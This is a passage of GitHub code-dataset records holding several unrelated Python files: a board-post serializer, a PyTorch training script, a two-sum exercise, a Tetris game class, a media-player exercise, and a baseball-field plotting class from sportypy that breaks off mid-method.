self.board.db_key,\n \"number\": self.number,\n \"reply_number\": self.reply_number,\n \"subject\": self.subject,\n \"date_created\": self.date_created,\n \"date_modified\": self.date_modified,\n \"body\": self.body,\n \"read\": self.read.filter(id=user.id).exists(),\n }\n\n enactor = character or user\n\n admin = (\n (self.user == user)\n or (character and (self.character == character))\n or self.board.access(enactor, \"admin\")\n )\n if admin:\n data[\"character_id\"] = self.character.id if self.character else None\n data[\"character_name\"] = self.character.key if self.character else None\n data[\"user_id\"] = self.user.id\n data[\"user_name\"] = self.user.key\n data[\"disguise\"] = self.disguise\n\n data[\"author\"] = self.render_author(\n user, character=character, known_admin=admin\n )\n\n return data\n","repo_name":"volundmush/athanor_boards","sub_path":"athanor_boards/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73917869636","text":"import argparse\n\nimport helper as h\n\n#\n# Get command line arguments\n#\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--data_dir\", help=\"Data Directory\", required=True, type=str)\nparser.add_argument(\"--arch\", help=\"Choose VGG13 or VGG16. Default is VGG13\", required=False, type=str, default=\"VGG13\")\nparser.add_argument(\"--learning_rate\", help=\"Learning rate. Default is 0.001\", required=False, type=float,\n default=0.001)\nparser.add_argument(\"--gpu\", help=\"Optional to run on gpu if available. Strongly recommended!\", action='store_true')\nparser.add_argument(\"--hidden_units\", help=\"# of hidden units. Default is 512\", type=int, default=512)\nparser.add_argument(\"--layers\", help=\"# of hidden layers. Default is 2\", type=int, default=2)\nparser.add_argument(\"--output_units\", help=\"# of output categories\", type=int, default=102)\nparser.add_argument(\"--print_every\", help=\"# of steps after to print validation. Default is 10\", type=int, default=10)\nparser.add_argument(\"--epochs\", help=\"# of epochs. Default is 5\", type=int, default=5, required=False)\nparser.add_argument(\"--save_dir\", type=str, default=\".\", required=False\n , help=\"Directory (needs to exist) to store saved model. Default is current directory.\"\n )\nnamespace = parser.parse_args()\n\ndevice_type = h.get_device_type(namespace.gpu)\n\nmodel = h.trainAndCheckpointModel(\n h.initializePretrainedModel(\n namespace.arch\n , namespace.hidden_units\n , output_units=namespace.output_units\n , layers=namespace.layers\n )\n , namespace.arch\n , namespace.data_dir\n , save_dir=namespace.save_dir\n , epochs=namespace.epochs\n , lr=namespace.learning_rate\n , device_type=device_type\n , print_every=namespace.print_every\n)\n\nh.test_trained_network(model, h.createTestingDataloader(namespace.data_dir))\n","repo_name":"arunbatchu/cv","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28332867692","text":"\"\"\"\nDado um array de números inteiros, retorne os\níndices dos dois números de forma que eles se\nsomem a um alvo específico.\n\nVocê pode assumir que cada entrada teria\nexatamente uma solução, e você não pode usar o\nmesmo elemento duas vezes.\n\nEXEMPLO\n\nDado nums = [2, 7, 11, 15], alvo = 9,\nComo nums[0] + nums[1] = 2 + 7 = 9,\nreturn [0, 1].\n\"\"\"\n\n\ndef soma_alvo(nums, alvo):\n resultado = []\n\n num_total = len(nums)\n\n for i in range(0, num_total):\n for j in range(i + 1, num_total):\n if nums[i] != nums[j]:\n if int(nums[i]) + int(nums[j]) == alvo:\n resultado.append([i, j])\n\n return resultado\n\n\ndef main():\n entrada = [2, 7, 11, 15]\n alvo = 9\n print(soma_alvo(entrada, alvo))\n\n\nmain()\n","repo_name":"fabioconde/desafio","sub_path":"questao_1.py","file_name":"questao_1.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34184610468","text":"import pygame, sys\nfrom pygame.locals import *\nfrom blockGroup import *\nfrom const import *\n\nclass Game(pygame.sprite.Sprite):\n def __init__(self, surface):\n self.surface = surface\n self.fixedBlockGroup = BlockGroup(BlockGroupType.FIXED, BLOCK_SIZE_W, BLOCK_SIZE_H, [], self.getRelPos())\n self.dropBlockGroup = None\n self.nextBlockGroup = BlockGroup(BlockGroupType.DROP, BLOCK_SIZE_W, BLOCK_SIZE_H, BlockGroup.GenerateBlockGroupConfig(0, GAME_COL + 3), self.getRelPos())\n self.gameOverImage = pygame.image.load(\"pic\\\\GameOver.png\")\n gameOverImageSize = [i * GAME_WIDTH_SIZE / self.gameOverImage.get_size()[0] for i in self.gameOverImage.get_size()] \n self.gameOverImage = pygame.transform.scale(self.gameOverImage, gameOverImageSize)\n self.scoreFont = pygame.font.Font(None, 60)\n self.score = 0\n self.isGameOver = False\n \n def generateDropBlockGroup(self):\n self.dropBlockGroup = self.nextBlockGroup\n self.dropBlockGroup.setBaseIndexes(0, GAME_COL / 2 - 1)\n self.generateNextBlockGroup()\n \n def generateNextBlockGroup(self):\n conf = BlockGroup.GenerateBlockGroupConfig(0, GAME_COL + 3)\n self.nextBlockGroup = BlockGroup(BlockGroupType.DROP, BLOCK_SIZE_W, BLOCK_SIZE_H, conf, self.getRelPos())\n \n def update(self):\n if self.isGameOver:\n return\n self.checkGameOver()\n self.fixedBlockGroup.update()\n if self.fixedBlockGroup.isEliminate():\n return\n if self.dropBlockGroup:\n self.dropBlockGroup.update()\n else:\n self.generateDropBlockGroup()\n if self.willCollide():\n blocks = self.dropBlockGroup.getBlocks()\n for blk in blocks:\n self.fixedBlockGroup.addBlocks(blk)\n self.dropBlockGroup.clearBlokcs()\n self.dropBlockGroup = None\n self.score += self.fixedBlockGroup.processEliminate()\n \n def draw(self):\n self.fixedBlockGroup.draw(self.surface)\n if self.dropBlockGroup:\n self.dropBlockGroup.draw(self.surface)\n self.nextBlockGroup.draw(self.surface)\n if self.isGameOver:\n rect = self.gameOverImage.get_rect()\n rect.centerx = GAME_WIDTH_SIZE / 2\n rect.centery = GAME_HEIGHT_SIZE / 2\n self.surface.blit(self.gameOverImage, rect)\n \n scoreTextImage = self.scoreFont.render('Score: ' + str(self.score), True, (255, 255, 255))\n self.surface.blit(scoreTextImage, (10, 20))\n \n def getRelPos(self):\n return (240, 50)\n \n def willCollide(self):\n hash = {}\n allIndexes = self.fixedBlockGroup.getBlockIndexes()\n for idx in allIndexes:\n hash[idx] = 1\n dropIndexes = self.dropBlockGroup.getNextBlockIndexes()\n \n for dropIndex in dropIndexes:\n if hash.get(dropIndex):\n return True\n if dropIndex[0] >= GAME_ROW:\n return True\n return False\n \n def checkGameOver(self):\n allIndex = self.fixedBlockGroup.getBlockIndexes()\n for idx in allIndex:\n if idx[0] < 2:\n self.isGameOver = True","repo_name":"Little-Polaris/tetris","sub_path":"code/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72073060359","text":"from abc import ABC,abstractmethod\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass Media:\n name : str\n location : str\n rate : float\n \n @abstractmethod\n def media_player(self):\n pass\n \nclass MediaPlayer(ABC):\n file_location=None\n \n def __init__(self):\n self.media_list=list()\n self.play_list = []\n\n for item in self.media_list :\n if item.location.startswith(self.file_location) :\n self.play_list.append(item)\n \n \n # @abstractmethod\n def set_playlist(self,media_list):\n pass\n\n def get_playlist(self):\n return self.media_list\n \n\n def play(self):\n for media in self.media_list:\n media.media_player()\n\n\n def playe_by_name(self):\n self.media_list = sorted(self.media_list, key=lambda x: x.name)\n self.play()\n\n \n def play_by_rating(self):\n self.media_list = sorted(self.media_list, key=lambda x: x.rating)\n self.play()\n\n \n\nclass WebMediaPlayer(MediaPlayer):\n file_location=\"https://\"\n \n def play(self):\n \n for item in self.play_list:\n print (f\"{item.name} playing on {item.location}\")\n \n \n\nclass LocalMediaPlayer(MediaPlayer):\n file_location=(\"C:\\\\\" , \"/\")\n \n def play(self):\n \n for item in self.play_list:\n print(f\"{item.name} playing {item.location}\")\n \n \n \n \n \n\n'''checking'''\nif __name__ == '__main__':\n \n \n media1 = Media('/loc1', 'music1', 1)\n media2 = Media('/loc2', 'music2', 2)\n\n\n my_list = [media1,media2]\n wmediaplayer = WebMediaPlayer(my_list)\n print(wmediaplayer.play())\n print(wmediaplayer.playe_by_name())\n print(wmediaplayer.play_by_rating())\n lmp = LocalMediaPlayer()\n\n print(lmp.play())\n print(lmp.playe_by_name())\n print(lmp.play_by_rating())","repo_name":"asal1995/class_exam","sub_path":"oop1/Imedia.py","file_name":"Imedia.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31670743527","text":"\"\"\"Extension of the ``BaseSurfacePlot`` class to create a baseball field.\n\nThis is a second-level child class of the ``BaseSurface`` class, and as such\nwill have access to its attributes and methods. ``sportypy`` will ship with\npre-defined leagues that will have their own subclass, but a user can manually\nspecify their own field parameters to create a totally-customized field. The\nfield's features are parameterized by the basic dimensions of the field, which\ncomprise the attributes of the class.\n\n@author: Ross Drucker\n\"\"\"\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.transforms import Affine2D\nimport sportypy._feature_classes.baseball as baseball_features\nfrom sportypy._base_classes._base_surface_plot import BaseSurfacePlot\n\n\nclass BaseballField(BaseSurfacePlot):\n \"\"\"A subclass of the ``BaseSurfacePlot`` class to make a baseball field.\n\n This allows for the creation of the baseball field in a way that is\n entirely parameterized by the field's baseline characteristics. By\n convention, TV view for baseball is identical to the view from the high\n home plate camera.\n\n All attributes should default to ``0.0`` (if of a numeric type) or an empty\n string (if of a string type). Customized parameters may be specified via a\n child class (see below) or by directly specifying all necessary attributes\n of a valid baseball field. The attributes needed to instantiate a\n particular league's surface must be specified in the ``field_params``\n dictionary. For many leagues, these will be provided in the\n surface_dimensions.json file in the data/ subdirectory of ``sportypy``.\n\n See the ``BaseSurfacePlot`` and ``BaseSurface`` class definitions for full\n details.\n\n Attributes\n ----------\n league_code : str\n The league for which the plot should be drawn. This is case-insensitive\n but should be the shortened name of the league (e.g. \"Major League\n Baseball\" should be either \"MLB\" or \"mlb\"). The default is an empty\n string\n\n rotation_amt : float\n The angle (in degrees) through which to rotate the final plot. The\n default is ``0.0``\n\n x_trans : float\n The amount that the ``x`` coordinates are to be shifted. By convention,\n the +``x`` axis extends from the pitcher's plate towards first base\n when viewing the field in TV view. The default is ``0.0``\n\n y_trans : float\n The amount that the ``y`` coordinates are to be shifted. By convention,\n the +``y`` axis extends from the back tip of home plate out towards\n center field when viewing the field in TV view. The default is ``0.0``\n\n feature_colors : dict\n A dictionary of coloring parameters to pass to the plot\n\n field_params : dict\n A dictionary containing the following parameters of the field:\n\n - field_units : str\n The units of the field\n\n - left_field_distance : float\n The straight-line distance from the back tip of home plate to\n the left field foul pole (along theta = -45°)\n\n - right_field_distance : float\n The straight-line distance from the back tip of home plate to\n the right field foul pole (along theta = +45°)\n\n - center_field_distance : float\n The straight-line distance from the back tip of home plate to\n straight-away center field (along theta = 0°)\n\n - baseline_distance : float\n The distance of each baseline\n\n - running_lane_start_distance : float\n The straight-line distance from the back tip of home plate to\n the start of the running lane\n\n - running_lane_depth : float\n The straight-line distance from the outer edge of the\n first-base line to the outer edge of the running lane\n\n - running_lane_length : float\n The straight-line length of the running lane measured from the\n point nearest home plate. As an example, if the base lines are\n 90 feet, and the running lane starts a distance of 45 feet down\n the line from the back tip of home plate, and extends 3 feet\n beyond first base, this parameter would be given as ``48.0``\n\n - pitchers_mound_center_to_home_plate : float\n The distance from the center of the pitcher's mound to the back\n tip of home plate. NOTE: this does not necessarily align with\n the front edge of the pitcher's plate\n\n - pitchers_mound_radius : float\n The radius of the pitcher's mound\n\n - pitchers_plate_front_to_home_plate : float\n The distance from the front edge of the pitcher's plate to the\n back tip of home plate\n\n - pitchers_plate_width : float\n The width of the pitcher's plate (the dimension in the ``y``\n direction)\n\n - pitchers_plate_length : float\n The length of the pitcher's plate (the dimension in the ``x``\n direction)\n\n - base_side_length : float\n The length of one side of a square base\n\n - home_plate_edge_length : float\n The length of a full side of home plate\n\n - infield_arc_radius : float\n The distance from the front edge of the pitcher's mound to the\n back of the infield dirt\n\n - base_anchor_to_infield_grass_radius : float\n The distance from the anchor point of a base to the circular\n cutout in the infield grass. The anchor point of a base is\n defined as the point used in the definition of the base paths.\n As an example, in MLB, the anchor point of first base would be\n the corner of the first base bag along the foul line on the\n side furthest from the back tip of home plate\n\n - line_width : float\n The thickness of all chalk lines on the field\n\n - foul_line_to_infield_grass : float\n The distance from the outer edge of the foul line to the outer\n edge of the infield grass\n\n - foul_line_to_foul_grass : float\n The distance from the outer edge of the foul line to the inner\n edge of the grass in foul territory\n\n - batters_box_length : float\n The length of the batter's box (in the y direction) measured\n from the outside of the chalk lines\n\n - batters_box_width : float\n The width of the batter's box (in the x direction) measured\n from the outside of the chalk lines\n\n - batters_box_y_adj : float\n The shift off of center in the y direction that the batter's\n box needs to be moved to properly align\n\n - home_plate_side_to_batters_box : float\n The distance from the outer edge of the batter's box to the\n outer edge of home plate\n\n - catchers_box_shape : str\n The shape of the catcher's box. Currently-supported values are:\n - \"rectangle\" (default behavior)\n - \"trapezoid\" (see LittleLeagueField for example)\n\n - catchers_box_depth : float\n The distance from the back tip of home plate to the back edge\n of the catcher's box\n\n - backstop_radius : float\n The distance from the back tip of home plate to the interior\n edge of the backstop\n\n - home_plate_circle_radius : float\n The radius of the dirt circle surrounding home plate\n \"\"\"\n\n def __init__(self, league_code = \"\", field_updates = {},\n color_updates = {}, rotation = 0.0, x_trans = 0.0,\n y_trans = 0.0, units = \"default\", **added_features):\n \"\"\"Initialize an instance of a ``BaseballField`` class.\n\n Parameters\n ----------\n league_code : str\n The league for which the plot should be drawn. This is\n case-insensitive but should be the shortened name of the league\n (e.g. \"Major League Baseball\" should be either \"MLB\" or \"mlb\"). The\n default is an empty string\n\n rotation : float\n The angle (in degrees) through which to rotate the final plot. The\n default is 0.0\n\n x_trans : float\n The amount that the x coordinates are to be shifted. By convention,\n the +``x`` axis extends from the pitcher's plate towards first base\n when viewing the field in TV view. The default is ``0.0``\n\n y_trans : float\n The amount that the y coordinates are to be shifted. By convention,\n the +``y`` axis extends from the back tip of home plate out towards\n center field when viewing the field in TV view. The default is\n ``0.0``\n\n field_updates: dict\n A dictionary of updated parameters to use to create the baseball\n field. The default is an empty dictionary\n\n color_updates : dict\n A dictionary of coloring parameters to pass to the plot. Defaults\n are provided in the class per each rule book, but this allows the\n plot to be more heavily customized/styled. The default is an empty\n dictionary\n\n units : str\n The units that the final plot should utilize. The default units are\n the units specified in the rule book of the league. The default is\n ``\"default\"``\n\n Returns\n -------\n Nothing, but instantiates the class\n \"\"\"\n # Load all pre-defined field dimensions for provided leagues\n self._load_preset_dimensions(sport = \"baseball\")\n\n # Load all unit conversions\n self._load_unit_conversions()\n\n # Set the league to be the lower-case version of the supplied value\n self.league_code = league_code.lower()\n\n # Try to get the league specified from the pre-defined set of leagues\n try:\n field_dimensions = self.league_dimensions[self.league_code]\n\n # If it can't be found, set the field_dimensions dictionary to be empty\n except KeyError:\n field_dimensions = {}\n\n # Combine the field dimensions (if found from in the pre-defined\n # leagues) with any parameter updates supplied by the user. This will\n # comprise the parameter set with which the field is to be drawn\n field_params = {\n **field_dimensions,\n **field_updates\n }\n\n # Set the passed parameters of the field to be the class' field_params\n # attribute\n self.field_params = field_params\n\n # Convert the field's units if needed\n if units.lower() != \"default\":\n for k, v in field_params.items():\n self.field_params[k] = self._convert_units(\n v,\n self.field_params[\"field_units\"],\n units.lower()\n )\n\n self.field_params[\"field_units\"] = units.lower()\n\n # Set the rotation of the plot to be the supplied rotation value\n self.rotation_amt = rotation\n self._rotation = Affine2D().rotate_deg(rotation)\n\n # Set the field's necessary shifts. This will overwrite the default\n # values of x_trans and y_trans inherited from the BaseSurfacePlot\n # class (which is in turn inherited from BaseSurface)\n self.x_trans, self.y_trans = x_trans, y_trans\n\n # Create a container for the relevant features of an field\n self._features = []\n\n # Initialize the x and y limits for the plot be None. These will get\n # set when calling the draw() method below\n self._feature_xlim = None\n self._feature_ylim = None\n\n # Initialize the default colors of the field\n default_colors = {\n \"plot_background\": \"#395d33\",\n \"infield_dirt\": \"#9b7653\",\n \"infield_grass\": \"#395d33\",\n \"pitchers_mound\": \"#9b7653\",\n \"base\": \"#ffffff\",\n \"pitchers_plate\": \"#ffffff\",\n \"batters_box\": \"#ffffff\",\n \"catchers_box\": \"#ffffff\",\n \"foul_line\": \"#ffffff\",\n \"running_lane\": \"#ffffff\"\n }\n\n # Combine the colors with a passed colors dictionary\n if not color_updates:\n color_updates = {}\n\n # Create the final color set for the features of the field\n self.feature_colors = {\n **default_colors,\n **color_updates\n }\n\n # Initialize the constraint on the field to confine all features to be\n # contained within the field's boundary. The feature itself is not\n # visible\n field_constraint_params = {\n \"class\": baseball_features.FieldConstraint,\n \"x_anchor\": 0.0,\n \"y_anchor\": 0.0,\n \"reflect_x\": False,\n \"reflect_y\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"feature_radius\": self.field_params.get(\"corner_radius\", 0.0),\n \"feature_thickness\": self.field_params.get(\"board_thickness\", 0.0),\n \"visible\": False\n }\n self._initialize_feature(field_constraint_params)\n\n # Set this feature to be the surface's constraint\n self._surface_constraint = self._features.pop(-1)\n\n # Initialize the infield dirt\n infield_dirt_params = {\n \"class\": baseball_features.InfieldDirt,\n \"x_anchor\": 0.0,\n \"y_anchor\": 0.0,\n \"reflect_x\": False,\n \"reflect_y\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"home_plate_circle_radius\": self.field_params.get(\n \"home_plate_circle_radius\",\n 0.0\n ),\n \"foul_line_to_foul_grass\": self.field_params.get(\n \"foul_line_to_foul_grass\",\n 0.0\n ),\n \"infield_arc_radius\": self.field_params.get(\n \"infield_arc_radius\",\n 0.0\n ),\n \"pitchers_plate_dist\": self.field_params.get(\n \"pitchers_plate_front_to_home_plate\",\n 0.0\n ),\n \"facecolor\": self.feature_colors[\"infield_dirt\"],\n \"edgecolor\": None,\n \"zorder\": 5\n }\n self._initialize_feature(infield_dirt_params)\n\n # Initialize the infield grass\n infield_grass_params = {\n \"class\": baseball_features.InfieldGrass,\n \"x_anchor\": 0.0,\n \"y_anchor\": 0.0,\n \"reflect_x\": False,\n \"reflect_y\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"home_plate_circle_radius\": self.field_params.get(\n \"home_plate_circle_radius\",\n 0.0\n ),\n \"foul_line_to_infield_grass\": self.field_params.get(\n \"foul_line_to_infield_grass\",\n 0.0\n ),\n \"feature_radius\": self.field_params.get(\n \"base_anchor_to_infield_grass_radius\",\n 0.0\n ),\n \"baseline_distance\": self.field_params.get(\n \"baseline_distance\",\n 0.0\n ),\n \"facecolor\": self.feature_colors[\"infield_grass\"],\n \"edgecolor\": None,\n \"zorder\": 6\n }\n self._initialize_feature(infield_grass_params)\n\n # Initialize the pitcher's mound\n pitchers_mound_params = {\n \"class\": baseball_features.PitchersMound,\n \"x_anchor\": 0.0,\n \"y_anchor\": self.field_params.get(\n \"pitchers_mound_center_to_home_plate\",\n 0.0\n ),\n \"reflect_x\": False,\n \"reflect_y\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"feature_radius\": self.field_params.get(\n \"pitchers_mound_radius\",\n 0.0\n ),\n \"facecolor\": self.feature_colors[\"pitchers_mound\"],\n \"edgecolor\": None,\n \"zorder\": 7\n }\n self._initialize_feature(pitchers_mound_params)\n\n # Initialize home plate\n home_plate_params = {\n \"class\": baseball_features.HomePlate,\n \"x_anchor\": 0.0,\n \"y_anchor\": 0.0,\n \"reflect_x\": False,\n \"reflect_y\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"home_plate_edge_length\": self.field_params.get(\n \"home_plate_edge_length\",\n 0.0\n ),\n \"facecolor\": self.feature_colors[\"base\"],\n \"edgecolor\": None,\n \"zorder\": 16\n }\n self._initialize_feature(home_plate_params)\n\n # Initialize first base\n first_base_params = {\n \"class\": baseball_features.Base,\n \"x_anchor\": (\n self.field_params.get(\"baseline_distance\", 0.0) *\n math.cos(np.pi / 4.0)\n ),\n \"y_anchor\": (\n self.field_params.get(\"baseline_distance\", 0.0) *\n math.sin(np.pi / 4.0)\n ),\n \"reflect_x\": False,\n \"reflect_y\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"base_side_length\": self.field_params.get(\"base_side_length\", 0.0),\n \"adjust_x_left\": True,\n \"facecolor\": self.feature_colors[\"base\"],\n \"edgecolor\": None,\n \"zorder\": 16\n }\n self._initialize_feature(first_base_params)\n\n # Initialize second base\n second_base_params = {\n \"class\": baseball_features.Base,\n \"x_anchor\": 0.0,\n \"y_anchor\": (\n self.field_params.get(\"baseline_distance\", 0.0) *\n math.sqrt(2.0)\n ),\n \"reflect_x\": False,\n \"reflect_y\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"base_side_length\": self.field_params.get(\"base_side_length\", 0.0),\n \"adjust_x_left\": False,\n \"facecolor\": self.feature_colors[\"base\"],\n \"edgecolor\": None,\n \"zorder\": 16\n }\n self._initialize_feature(second_base_params)\n\n # Initialize third base\n third_base_params = {\n \"class\": baseball_features.Base,\n \"x_anchor\": (\n self.field_params.get(\"baseline_distance\", 0.0) *\n math.cos(3.0 * np.pi / 4.0)\n ),\n \"y_anchor\": (\n self.field_params.get(\"baseline_distance\", 0.0) *\n math.sin(3.0 * np.pi / 4.0)\n ),\n \"reflect_x\": False,\n \"reflect_y\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"base_side_length\": self.field_params.get(\"base_side_length\", 0.0),\n \"adjust_x_right\": True,\n \"facecolor\": self.feature_colors[\"base\"],\n \"edgecolor\": None,\n \"zorder\": 16\n }\n self._initialize_feature(third_base_params)\n\n # Initialize the pitcher's plate\n pitchers_plate_params = {\n \"class\": baseball_features.PitchersPlate,\n \"x_anchor\": 0.0,\n \"y_anchor\": self.field_params.get(\n \"pitchers_plate_front_to_home_plate\",\n 0.0\n ),\n \"reflect_x\": False,\n \"reflect_y\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"pitchers_plate_length\": self.field_params.get(\n \"pitchers_plate_length\"\n ),\n \"feature_thickness\": self.field_params.get(\n \"pitchers_plate_width\",\n 0.0\n ),\n \"facecolor\": self.feature_colors[\"pitchers_plate\"],\n \"edgecolor\": None,\n \"zorder\": 16\n }\n self._initialize_feature(pitchers_plate_params)\n\n # Initialize the batter's boxes\n batters_box_params = {\n \"class\": baseball_features.BattersBox,\n \"x_anchor\": (\n (self.field_params.get(\"home_plate_edge_length\", 0.0) / 2.0) +\n self.field_params.get(\"home_plate_side_to_batters_box\", 0.0) +\n (self.field_params.get(\"batters_box_width\", 0.0) / 2.0)\n ),\n \"y_anchor\": 0.0,\n \"reflect_x\": True,\n \"reflect_y\": False,\n \"is_constrained\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"feature_thickness\": self.field_params.get(\"line_width\", 0.0),\n \"batters_box_length\": self.field_params.get(\n \"batters_box_length\",\n 0.0\n ),\n \"batters_box_width\": self.field_params.get(\n \"batters_box_width\",\n 0.0\n ),\n \"batters_box_y_adj\": self.field_params.get(\n \"batters_box_y_adj\",\n 0.0\n ),\n \"facecolor\": self.feature_colors[\"batters_box\"],\n \"edgecolor\": None,\n \"zorder\": 16\n }\n self._initialize_feature(batters_box_params)\n\n # Initialize the batter's boxes\n catchers_box_params = {\n \"class\": baseball_features.CatchersBox,\n \"x_anchor\": 0.0,\n \"y_anchor\": 0.0,\n \"reflect_x\": False,\n \"reflect_y\": False,\n \"is_constrained\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"feature_thickness\": self.field_params.get(\"line_width\", 0.0),\n \"feature_radius\": self.field_params.get(\n \"home_plate_circle_radius\",\n 0.0\n ),\n \"catchers_box_depth\": self.field_params.get(\n \"catchers_box_depth\",\n 0.0\n ),\n \"catchers_box_width\": self.field_params.get(\n \"catchers_box_width\",\n 0.0\n ),\n \"batters_box_length\": self.field_params.get(\n \"batters_box_length\",\n 0.0\n ),\n \"batters_box_y_adj\": self.field_params.get(\n \"batters_box_y_adj\",\n 0.0\n ),\n \"catchers_box_shape\": self.field_params.get(\n \"catchers_box_shape\",\n \"rectangle\"\n ),\n \"facecolor\": self.feature_colors[\"catchers_box\"],\n \"edgecolor\": None,\n \"zorder\": 16\n }\n self._initialize_feature(catchers_box_params)\n\n # Initialize the left field foul line\n left_field_foul_line_params = {\n \"class\": baseball_features.FoulLine,\n \"x_anchor\": 0.0,\n \"y_anchor\": 0.0,\n \"reflect_x\": False,\n \"reflect_y\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"feature_thickness\": self.field_params.get(\"line_width\", 0.0),\n \"is_line_1b\": False,\n \"line_distance\": self.field_params.get(\n \"left_field_distance\",\n 0.0\n ),\n \"batters_box_length\": self.field_params.get(\n \"batters_box_length\",\n 0.0\n ),\n \"batters_box_width\": self.field_params.get(\n \"batters_box_width\",\n 0.0\n ),\n \"home_plate_side_to_batters_box\": self.field_params.get(\n \"home_plate_side_to_batters_box\",\n 0.0\n ),\n \"batters_box_y_adj\": self.field_params.get(\n \"batters_box_y_adj\",\n 0.0\n ),\n \"facecolor\": self.feature_colors[\"foul_line\"],\n \"edgecolor\": None,\n \"zorder\": 17\n }\n self._initialize_feature(left_field_foul_line_params)\n\n # Initialize the right field foul line\n right_field_foul_line_params = {\n \"class\": baseball_features.FoulLine,\n \"x_anchor\": 0.0,\n \"y_anchor\": 0.0,\n \"reflect_x\": False,\n \"reflect_y\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"feature_thickness\": self.field_params.get(\"line_width\", 0.0),\n \"is_line_1b\": True,\n \"line_distance\": self.field_params.get(\n \"right_field_distance\",\n 0.0\n ),\n \"batters_box_length\": self.field_params.get(\n \"batters_box_length\",\n 0.0\n ),\n \"batters_box_width\": self.field_params.get(\n \"batters_box_width\",\n 0.0\n ),\n \"home_plate_side_to_batters_box\": self.field_params.get(\n \"home_plate_side_to_batters_box\",\n 0.0\n ),\n \"batters_box_y_adj\": self.field_params.get(\n \"batters_box_y_adj\",\n 0.0\n ),\n \"facecolor\": self.feature_colors[\"foul_line\"],\n \"edgecolor\": None,\n \"zorder\": 17\n }\n self._initialize_feature(right_field_foul_line_params)\n\n # Initialize the running lane on the first base line\n running_lane_params = {\n \"class\": baseball_features.RunningLane,\n \"x_anchor\": 0.0,\n \"y_anchor\": 0.0,\n \"reflect_x\": False,\n \"reflect_y\": False,\n \"is_constrained\": False,\n \"feature_units\": self.field_params.get(\"field_units\", \"ft\"),\n \"feature_thickness\": self.field_params.get(\"line_width\", 0.0),\n \"running_lane_start_distance\": self.field_params.get(\n \"running_lane_start_distance\",\n 0.0\n ),\n \"running_lane_length\": self.field_params.get(\n \"running_lane_length\",\n 0.0\n ),\n \"running_lane_depth\": self.field_params.get(\n \"running_lane_depth\",\n 0.0\n ),\n \"facecolor\": self.feature_colors[\"running_lane\"],\n \"edgecolor\": None,\n \"zorder\": 18\n }\n self._initialize_feature(running_lane_params)\n\n # Initialize all other features passed as keyword arguments\n for added_feature in added_features.values():\n self._initialize_feature(added_feature)\n\n def draw(self, ax = None, display_range = \"full\", xlim = None, ylim = None,\n rotation = None):\n \"\"\"Draw the field.\n\n Parameters\n ----------\n ax : matplotlib.Axes\n An Axes object onto which the plot can be drawn. If ``None`` is\n supplied, then the currently-active Axes object will be used\n\n display_range : str, optional\n The portion of the surface to display. The entire surface will\n always be drawn under the hood, however this parameter limits what\n is shown in the final plot. The following explain what each display\n range corresponds to:\n\n - ``\"full\"``: The entire surface\n - ``\"infield\"``: The infield portion of the baseball diamond\n\n The default is ``\"full\"``\n\n xlim : float or tuple of floats or None\n The display range in the ``x`` direction to be used. If a single\n float is provided, this will be used as the lower bound of the\n ``x`` coordinates to display and the upper bound will be the +``x``\n end of the field. If a tuple, the two values will be used to\n determine the bounds. If ``None``, then the ``display_range`` will\n be used instead to set the bounds. The default is ``None``\n\n ylim : float or tuple of floats or None\n The display range in the ``y`` direction to be used. If a single\n float is provided, this will be used as the lower bound of the\n ``y`` coordinates to display and the upper bound will be the +``y`\n end of the field. If a tuple, the two values will be used to\n determine the bounds. If ``None``, then the ``display_range`` will\n be used instead to set the bounds. The default is ``None``\n\n rotation : float or None\n Angle (in degrees) through which to rotate the field when drawing.\n If used, this will set the class attribute of ``_rotation``. A\n value of ``0.0`` will correspond to a TV view of the field, where\n +``x`` is to the right and +``y`` is on top. The rotation occurs\n counter clockwise\n \"\"\"\n # If there is a rotation to be applied, apply it first and set it as\n # the class attribute self._rotation\n if rotation:\n self._rotation = Affine2D().rotate_deg(rotation)\n\n # If an Axes object is not provided, create one to use for plotting\n if ax is None:\n fig, ax = plt.subplots()\n fig.patch.set_facecolor(self.feature_colors[\"plot_background\"])\n ax = plt.gca()\n\n # Set the aspect ratio to be equal and remove the axis to leave only\n # the plot\n ax.set_aspect(\"equal\")\n ax.grid(visible = False, which = \"both\")\n ax.axis(\"off\")\n\n # Get the transformation to apply\n transform = self._get_transform(ax)\n\n # Define the surface's constraint\n constraint = self._add_surface_constraint(ax, transform)\n\n # Add each feature\n for feature in self._features:\n # Start by adding the feature to the current Axes object\n drawn_feature = feature.draw(ax, transform)\n\n if feature.is_constrained:\n drawn_feature.set_clip_path(constraint)\n\n else:\n # Get the feature's visibility attribute\n visible = feature.visible\n\n # Assuming the feature is visible (and is not the field\n # constraint), get the feature's x 